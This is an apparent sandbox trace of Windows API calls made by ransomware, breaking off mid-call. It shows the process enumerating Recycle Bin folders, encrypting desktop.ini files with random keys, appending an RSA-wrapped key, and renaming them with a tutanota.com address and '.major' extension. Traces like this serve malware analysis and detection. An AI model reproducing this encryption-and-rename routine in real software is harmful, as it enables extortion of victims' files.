[0132.860] GetLastError () returned 0x0 [0132.860] SetLastError (dwErrCode=0x0) [0132.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0132.860] FindNextFileW (in: hFindFile=0x5a3550, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7e9d4e, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff7e9d4e, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff7e9d4e, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0132.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0132.860] GetLastError () returned 0x0 [0132.860] SetLastError (dwErrCode=0x0) [0132.860] GetLastError () returned 0x0 [0132.860] SetLastError (dwErrCode=0x0) [0132.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0132.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0132.861] GetLastError () returned 0x0 [0132.861] SetLastError (dwErrCode=0x0) [0132.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.861] FindNextFileW (in: hFindFile=0x5a3550, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7e9d4e, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff7e9d4e, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff7e9d4e, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0132.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0132.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.861] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.861] SetFileAttributesW (lpFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini", dwFileAttributes=0x80) returned 1 [0132.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0132.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0132.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0132.861] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0132.861] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=129) returned 1 [0132.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x81) returned 0x5980d0 [0132.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x81) returned 0x5981f0 [0132.861] ReadFile (in: hFile=0x47c, lpBuffer=0x5980d0, nNumberOfBytesToRead=0x81, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5980d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x81, lpOverlapped=0x0) returned 1 [0132.862] SetFilePointer (in: hFile=0x47c, lDistanceToMove=-129, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.862] WriteFile (in: hFile=0x47c, lpBuffer=0x5981f0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5981f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x81, lpOverlapped=0x0) returned 1 [0132.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5980d0 | out: hHeap=0x570000) returned 1 [0132.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5981f0 | out: hHeap=0x570000) returned 1 [0132.862] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x81 [0132.862] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.862] WriteFile (in: hFile=0x47c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.863] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.863] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.863] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.863] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="s2GzfPSQEYNFuhrkLq7abh/RNhOCjGUohSNIszD26g4uo3wKMib9zHnkD6gZNS/C\n+q8rQH37YZhU4IiFX5gI4kUWlYrpusJOCVLgQQPcGtrvug59cNnKSrSDx40INfFs\nu9k/RWGh/tQ2DXo6Ow6mMNTyWlDuDoEJfElrK4hLFPzFnNY0QpobhEd2o4LkCdFw\nTSmxDY5R79Xa9yRWa5wDz5/gyuPrRte7RjJ4o4WXuk4AUTdp/3o02Z3A6FbXOyei\n3Y0Ogxggz02eUgzN6hPx60vc2mcCbtIKNriXjdevipA+r79Rw/vNR5eovmUcWWQd\nMFygNhu0IoutwQOCRjPvGA==\n", pcchString=0x2e3f9a8) returned 1 [0132.863] WriteFile (in: hFile=0x47c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.863] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.863] WriteFile (in: hFile=0x47c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.863] CloseHandle (hObject=0x47c) returned 1 [0132.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.864] MoveFileExW (lpExistingFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), lpNewFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0132.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5baff0 | out: hHeap=0x570000) returned 1 [0132.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1220 | out: hHeap=0x570000) returned 1 [0132.865] FindFirstFileW (in: lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xff80ff9b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2e10 [0132.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0132.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.866] GetLastError () returned 0x0 [0132.866] SetLastError (dwErrCode=0x0) [0132.866] GetLastError () returned 0x0 [0132.866] SetLastError (dwErrCode=0x0) [0132.866] GetLastError () returned 0x0 [0132.866] SetLastError (dwErrCode=0x0) [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2e90 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2e90 | out: hHeap=0x570000) returned 1 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0132.866] FindNextFileW (in: hFindFile=0x5a2e10, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xff80ff9b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.866] GetLastError () returned 0x0 [0132.866] SetLastError (dwErrCode=0x0) [0132.866] GetLastError () returned 0x0 [0132.866] SetLastError (dwErrCode=0x0) [0132.866] GetLastError () returned 0x0 [0132.866] SetLastError (dwErrCode=0x0) [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2f50 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2f50 | out: hHeap=0x570000) returned 1 [0132.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0132.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0132.867] FindNextFileW (in: hFindFile=0x5a2e10, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0132.867] GetLastError () returned 0x0 [0132.867] SetLastError (dwErrCode=0x0) [0132.867] GetLastError () returned 0x0 [0132.867] SetLastError (dwErrCode=0x0) [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0132.867] GetLastError () returned 0x0 [0132.867] SetLastError (dwErrCode=0x0) [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0132.867] FindNextFileW (in: hFindFile=0x5a2e10, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff80ff9b, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff80ff9b, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff80ff9b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0132.867] GetLastError () returned 0x0 [0132.867] SetLastError (dwErrCode=0x0) [0132.867] GetLastError () returned 0x0 [0132.867] SetLastError (dwErrCode=0x0) [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0132.867] GetLastError () returned 0x0 [0132.867] SetLastError (dwErrCode=0x0) [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.867] FindNextFileW (in: hFindFile=0x5a2e10, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff80ff9b, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xff80ff9b, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xff80ff9b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x57e1d0 [0132.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.867] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0132.867] SetFileAttributesW (lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini", dwFileAttributes=0x80) returned 1 [0132.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a9008 [0132.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x5b85a8 [0132.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0132.868] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480 [0132.868] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=129) returned 1 [0132.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x81) returned 0x5981f0 [0132.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x81) returned 0x5985e0 [0132.868] ReadFile (in: hFile=0x480, lpBuffer=0x5981f0, nNumberOfBytesToRead=0x81, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5981f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x81, lpOverlapped=0x0) returned 1 [0132.869] SetFilePointer (in: hFile=0x480, lDistanceToMove=-129, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0132.869] WriteFile (in: hFile=0x480, lpBuffer=0x5985e0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5985e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x81, lpOverlapped=0x0) returned 1 [0132.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5981f0 | out: hHeap=0x570000) returned 1 [0132.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5985e0 | out: hHeap=0x570000) returned 1 [0132.869] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x81 [0132.869] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.869] WriteFile (in: hFile=0x480, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.869] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0132.869] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0132.869] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0132.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0132.869] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="+BGBABgH39wxzm1CxEgEu1sU6IJlto6Cld60lr562smZdIt3vSp+2HStis9KDCFx\n9Z+nievnzb/Aa829DvYxEM3wJWeyrtPkh5ETZkMDefPg8WLbzGbqZVhsJ7627Fdz\nmmp2MZFwfzQgQ+b7byzBMxMrtWbWE0FQ+Yubdaq92bPVLlX/Eg+dw2sTN571Df/w\n9B1v/mdF/8F/N0sr/g5h2UwtIDG3xn54B1Y/2u9x4m7l7/k9ZurlwFCq/JSVMYqP\n+e0AGAb9cWzwvY4ZGzghRBt6lsz10eGEL2SkQKpl5xJAal2uMdbMnUb12/+l6IZg\nfNNYhsxS/38OX6khYsf0Cw==\n", pcchString=0x2e3f9a8) returned 1 [0132.869] WriteFile (in: hFile=0x480, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0132.870] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0132.870] WriteFile (in: hFile=0x480, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0132.870] CloseHandle (hObject=0x480) returned 1 [0132.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0132.870] MoveFileExW (lpExistingFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), lpNewFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0132.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0132.872] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2e90 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0132.872] GetLastError () returned 0x0 [0132.872] SetLastError (dwErrCode=0x0) [0132.872] GetLastError () returned 0x0 [0132.872] SetLastError (dwErrCode=0x0) [0132.872] GetLastError () returned 0x0 [0132.872] SetLastError (dwErrCode=0x0) [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2ed0 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2ed0 | out: hHeap=0x570000) returned 1 [0132.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0132.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0132.872] FindNextFileW (in: hFindFile=0x5a2e90, 